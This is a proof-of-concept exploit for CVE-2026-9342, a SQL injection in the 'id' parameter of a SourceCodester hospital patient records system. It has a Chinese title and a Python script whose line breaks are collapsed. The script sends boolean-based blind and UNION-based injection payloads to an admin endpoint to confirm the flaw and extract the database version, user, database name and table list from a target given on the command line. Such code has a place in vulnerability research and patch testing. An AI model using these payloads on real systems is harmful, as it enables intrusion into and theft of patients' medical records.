CVE-2026-9342 SourceCodester医院病历管理系统ID参数SQL注入漏洞

import requests import sys # CVE-2026-9342 SQL Injection PoC # Target: SourceCodester Hospitals Patient Records Management System 1.0 # Endpoint: /admin/patients/view_history.php def exploit_sqli(target_url, payload): """ SQL Injection exploitation function Tests for boolean-based blind SQL injection """ params = { 'id': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def test_injection(target_url): """ Test if the target is vulnerable to SQL injection """ # Original request (normal response) normal_payload = "1" normal_response = exploit_sqli(target_url, normal_payload) # True condition payload (should return normal data) true_payload = "1' AND 1=1 --" true_response = exploit_sqli(target_url, true_payload) # False condition payload (should return different response) false_payload = "1' AND 1=2 --" false_response = exploit_sqli(target_url, false_payload) # Check if vulnerability exists if normal_response != false_response and true_response == normal_response: print("[+] Target is VULNERABLE to SQL Injection!") return True else: print("[-] Target may not be vulnerable") return False def extract_database_info(target_url): """ Extract database information using UNION-based injection """ # Database version extraction payload version_payload = "1' UNION SELECT NULL,version(),user(),database() --" print(f"[*] Extracting database info with payload: {version_payload}") response = exploit_sqli(target_url, version_payload) if response: print("[+] Database information extracted") print(response[:500]) # Extract tables payload tables_payload = "1' UNION SELECT NULL,table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database() --" print(f"\n[*] Extracting tables with payload: {tables_payload}") response = exploit_sqli(target_url, tables_payload) if response: print("[+] Database tables extracted") print(response[:500]) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2026_9342_poc.py <target_url>") print("Example: python cve_2026_9342_poc.py http://target.com/admin/patients/view_history.php") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2026-9342 on {target}") if test_injection(target): print("\n[*] Extracting sensitive data...") extract_database_info(target)